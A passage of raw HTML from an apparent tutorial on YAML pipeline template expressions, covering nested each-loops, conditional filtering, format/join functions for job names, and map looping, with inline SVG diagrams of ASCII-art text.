style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='116' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' style='font-size:1em'\u003eG\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='116' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='4' fill='currentColor' style='font-size:1em'\u003eI\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='68' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='416' y='100' fill='currentColor' style='font-size:1em'\u003eJ\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='68' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='100' fill='currentColor' style='font-size:1em'\u003eO\u003c/text\u003e\n\u003ctext text-anchor='middle' x='424' y='116' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='68' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='100' fill='currentColor' style='font-size:1em'\u003eB\u003c/text\u003e\n\u003ctext text-anchor='middle' x='432' y='116' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='68' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='440' y='116' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='68' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='100' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='448' y='116' fill='currentColor' style='font-size:1em'\u003e$\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='68' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='456' y='116' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='68' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='464' y='116' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='480' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='488' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='496' y='116' fill='currentColor' style='font-size:1em'\u003eg\u003c/text\u003e\n\u003ctext text-anchor='middle' x='512' y='116' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='520' y='116' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='148' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='164' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='552' y='180' fill='currentColor' style='font-size:1em'\u003e-\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='148' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='164' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='568' y='180' fill='currentColor' style='font-size:1em'\u003ej\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='148' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='164' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='576' y='180' fill='currentColor' style='font-size:1em'\u003eo\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='148' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='164' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='584' y='180' fill='currentColor' style='font-size:1em'\u003eb\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='148' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='164' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='592' y='180' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='148' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='164' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='608' y='180' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='4' fill='currentColor' style='font-size:1em'\u003eX\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='148' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='616' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='624' y='164' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='148' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='164' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='632' y='180' fill='currentColor' style='font-size:1em'\u003ed\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='4' fill='currentColor' style='font-size:1em'\u003eN\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='148' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='164' fill='currentColor' style='font-size:1em'\u003eW\u003c/text\u003e\n\u003ctext text-anchor='middle' x='640' y='180' fill='currentColor' style='font-size:1em'\u003e_\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='148' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='648' y='180' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='148' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='164' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='656' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='4' fill='currentColor' style='font-size:1em'\u003eD\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='148' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='164' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='664' y='180' fill='currentColor' style='font-size:1em'\u003es\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='148' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='164' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='672' y='180' fill='currentColor' style='font-size:1em'\u003et\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='4' fill='currentColor' style='font-size:1em'\u003eY\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='148' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='164' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='680' y='180' fill='currentColor' style='font-size:1em'\u003eU\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='688' y='180' fill='currentColor' style='font-size:1em'\u003eS\u003c/text\u003e\n\u003ctext text-anchor='middle' x='696' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='704' y='4' fill='currentColor' style='font-size:1em'\u003eL\u003c/text\u003e\n\u003ctext text-anchor='middle' x='720' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003c/g\u003e\n\n\t\t\u003c/svg\u003e\n\t\n\u003c/div\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each env in parameters.environments }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#f92672\"\u003estage\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ env.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    \u003cspan style=\"color:#f92672\"\u003ejobs\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#ae81ff\"\u003e${{ each region in env.regions }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e      - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eDeploy_${{ region.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        \u003cspan style=\"color:#f92672\"\u003esteps\u003c/span\u003e:\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e        - \u003cspan style=\"color:#f92672\"\u003etemplate\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003edeploy-tasks.yml\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003e\u003cstrong\u003eArchitectural Warning:\u003c/strong\u003e Deeply nested loops count toward the \u003cstrong\u003e100-template include limit\u003c/strong\u003e. If your inner loop calls a \u003ccode\u003etemplate:\u003c/code\u003e, and you have 10 environments with 12 regions each, you will hit the limit (120 calls). For high-scale loops, define your jobs or steps \u003cstrong\u003einline\u003c/strong\u003e to avoid the include cap.\u003c/p\u003e\n\u003ch3 id=\"22-dynamic-step-generation\"\u003e2.2: Dynamic Step Generation\u003c/h3\u003e\n\u003cp\u003eYou can also use loops to inject a variable number of tasks based on a \u0026ldquo;metadata hint.\u0026rdquo; For instance, you may only want to inject an \u0026ldquo;App Gateway Cleanup\u0026rdquo; task if a job\u0026rsquo;s configuration object contains a \u003ccode\u003egatewayId\u003c/code\u003e.\u003c/p\u003e\n\u003ch2 id=\"3-conditional-filtering-inside-loops\"\u003e3. Conditional Filtering Inside Loops\u003c/h2\u003e\n\u003cp\u003eNot every item in a list should result in a pipeline stage. You can use \u003ccode\u003e${{ if }}\u003c/code\u003e inside an \u003ccode\u003e${{ each }}\u003c/code\u003e block to selectively generate structure.\u003c/p\u003e\n\u003ch3 id=\"31-the-skip-pattern\"\u003e3.1: The \u0026ldquo;Skip\u0026rdquo; Pattern\u003c/h3\u003e\n\u003cp\u003eThis pattern allows you to maintain a global configuration list but filter it based on the current run context.\u003c/p\u003e\n\u003cdiv class=\"highlight\"\u003e\u003cpre tabindex=\"0\" style=\"color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;\"\u003e\u003ccode class=\"language-yaml\" data-lang=\"yaml\"\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e- \u003cspan style=\"color:#ae81ff\"\u003e${{ each app in parameters.apps }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e  - \u003cspan style=\"color:#ae81ff\"\u003e${{ if eq(app.enabled, true) }}:\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003cspan style=\"display:flex;\"\u003e\u003cspan\u003e    - \u003cspan style=\"color:#f92672\"\u003ejob\u003c/span\u003e: \u003cspan style=\"color:#ae81ff\"\u003eBuild_${{ app.name }}\u003c/span\u003e\n\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003cp\u003eIf \u003ccode\u003eapp.enabled\u003c/code\u003e is false, the expansion engine simply skips that iteration, and the job never reaches the execution plan.\u003c/p\u003e\n\u003ch3 id=\"32-filtering-by-tags\"\u003e3.2: Filtering by Tags\u003c/h3\u003e\n\u003cp\u003eUse the \u003ccode\u003econtains()\u003c/code\u003e and \u003ccode\u003ein()\u003c/code\u003e functions to filter based on metadata. A common pattern is \u0026ldquo;Tiered Deployment,\u0026rdquo; where you only generate stages for items tagged with \u003ccode\u003etier: 'internal'\u003c/code\u003e in a specific branch, and \u003ccode\u003etier: 'public'\u003c/code\u003e in the main branch.\u003c/p\u003e\n\u003ch2 id=\"4-advanced-object-manipulation-functions\"\u003e4. Advanced Object Manipulation Functions\u003c/h2\u003e\n\u003cp\u003eIn 2026, the standard library for expressions has matured to support complex string and object handling.\u003c/p\u003e\n\u003ch3 id=\"41-joining-and-formatting\"\u003e4.1: Joining and Formatting\u003c/h3\u003e\n\u003cp\u003eUnique identifiers are mandatory for jobs and stages. Use the \u003ccode\u003eformat()\u003c/code\u003e and \u003ccode\u003ejoin()\u003c/code\u003e functions to generate valid YAML keys from your objects.\n\u003ccode\u003ejob: Deploy_${{ region.name }}_${{ format('{0:yyyyMMdd}', pipeline.startTime) }}\u003c/code\u003e.\nUsing \u003ccode\u003eformat\u003c/code\u003e ensures your IDs are predictable and conform to the strict naming restrictions (A-Z, 0-9, and underscores only).\u003c/p\u003e\n\u003ch3 id=\"42-map-looping\"\u003e4.2: Map Looping\u003c/h3\u003e\n\u003cp\u003eYou can also loop through a key-value map using \u003ccode\u003e${{ each pair in parameters.myMap }}\u003c/code\u003e. This provides access to \u003ccode\u003e${{ pair.key }}\u003c/code\u003e and \u003ccode\u003e${{ pair.value }}\u003c/code\u003e, which is essential for transforming dictionaries into environment variables or task arguments.\u003c/p\u003e\n\u003ch4 id=\"map-looping-keys-and-values\"\u003eMap Looping (Keys and Values)\u003c/h4\u003e\n\n\n\n\u003cdiv class=\"goat svg-container \"\u003e\n\t\n\t\t\u003csvg\n\t\t\txmlns=\"http://www.w3.org/2000/svg\"\n\t\t\tfont-family=\"Menlo,Lucida Console,monospace\"\n\t\t\t\n\t\t\t\tviewBox=\"0 0 696 217\"\n\t\t\t\u003e\n\t\t\t\u003cg transform='translate(8,16)'\u003e\n\u003cpath d='M 88,64 L 328,64' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 344,128 L 576,128' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 88,192 L 328,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,8 L 80,24' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 80,64 L 80,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 96,32 L 96,48' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,16 L 336,80' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,112 L 336,144' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 336,176 L 336,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpath d='M 584,16 L 584,192' fill='none' stroke='currentColor'\u003e\u003c/path\u003e\n\u003cpolygon points='96.000000,192.000000 84.000000,186.399994 84.000000,197.600006' fill='currentColor' transform='rotate(180.000000, 88.000000, 192.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='336.000000,64.000000 324.000000,58.400002 324.000000,69.599998' fill='currentColor' transform='rotate(0.000000, 328.000000, 64.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='344.000000,112.000000 332.000000,106.400002 332.000000,117.599998' fill='currentColor' transform='rotate(90.000000, 336.000000, 112.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='344.000000,176.000000 332.000000,170.399994 332.000000,181.600006' fill='currentColor' transform='rotate(90.000000, 336.000000, 176.000000)'\u003e\u003c/polygon\u003e\n\u003cpolygon points='584.000000,128.000000 572.000000,122.400002 572.000000,133.600006' fill='currentColor' transform='rotate(0.000000, 576.000000, 128.000000)'\u003e\u003c/polygon\u003e\n\u003ctext text-anchor='middle' x='32' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='32' y='36' fill='currentColor' style='font-size:1em'\u003e{\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='36' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='48' y='52' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='56' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='36' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='64' y='52' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='72' y='52' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='36' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='80' y='52' fill='currentColor' style='font-size:1em'\u003e:\u003c/text\u003e\n\u003ctext text-anchor='middle' x='88' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='96' y='4' fill='currentColor' style='font-size:1em'\u003eT\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='4' fill='currentColor' style='font-size:1em'\u003eE\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='36' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='104' y='52' fill='currentColor' style='font-size:1em'\u003ev\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='4' fill='currentColor' style='font-size:1em'\u003eR\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='36' fill='currentColor' style='font-size:1em'\u003e1\u003c/text\u003e\n\u003ctext text-anchor='middle' x='112' y='52' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='36' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='120' y='52' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='4' fill='currentColor' style='font-size:1em'\u003eM\u003c/text\u003e\n\u003ctext text-anchor='middle' x='128' y='36' fill='currentColor' style='font-size:1em'\u003e,\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='4' fill='currentColor' style='font-size:1em'\u003eA\u003c/text\u003e\n\u003ctext text-anchor='middle' x='136' y='52' fill='currentColor' style='font-size:1em'\u003e}\u003c/text\u003e\n\u003ctext text-anchor='middle' x='144' y='4' fill='currentColor' style='font-size:1em'\u003eP\u003c/text\u003e\n\u003ctext text-anchor='middle' x='160' y='4' fill='currentColor' style='font-size:1em'\u003e]\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='100' fill='currentColor' style='font-size:1em'\u003e2\u003c/text\u003e\n\u003ctext text-anchor='middle' x='272' y='164' fill='currentColor' style='font-size:1em'\u003e3\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='4' fill='currentColor' style='font-size:1em'\u003e[\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='280' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='4' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='100' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='116' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='164' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='296' y='180' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='304' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='4' fill='currentColor' style='font-size:1em'\u003ec\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='100' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='116' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='164' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='312' y='180' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='4' fill='currentColor' style='font-size:1em'\u003eh\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='100' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='116' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='164' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='320' y='180' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='100' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='116' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='164' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='328' y='180' fill='currentColor' style='font-size:1em'\u003e.\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='100' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='336' y='164' fill='currentColor' style='font-size:1em'\u003ek\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='4' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='100' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='116' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='164' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='344' y='180' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='100' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='116' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='164' fill='currentColor' style='font-size:1em'\u003ey\u003c/text\u003e\n\u003ctext text-anchor='middle' x='352' y='180' fill='currentColor' style='font-size:1em'\u003el\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='4' fill='currentColor' style='font-size:1em'\u003er\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='116' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='360' y='180' fill='currentColor' style='font-size:1em'\u003eu\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='100' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='116' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='164' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='368' y='180' fill='currentColor' style='font-size:1em'\u003ee\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='4' fill='currentColor' style='font-size:1em'\u003ei\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='100' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='376' y='164' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='4' fill='currentColor' style='font-size:1em'\u003en\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='116' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='384' y='180' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='100' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='116' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='164' fill='currentColor' style='font-size:1em'\u003e'\u003c/text\u003e\n\u003ctext text-anchor='middle' x='392' y='180' fill='currentColor' style='font-size:1em'\u003e=\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='4' fill='currentColor' style='font-size:1em'\u003ep\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='100' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='400' y='164' fill='currentColor' style='font-size:1em'\u003ea\u003c/text\u003e\n\u003ctext text-anchor='middle' x='408' y='4' fill='currentColor' 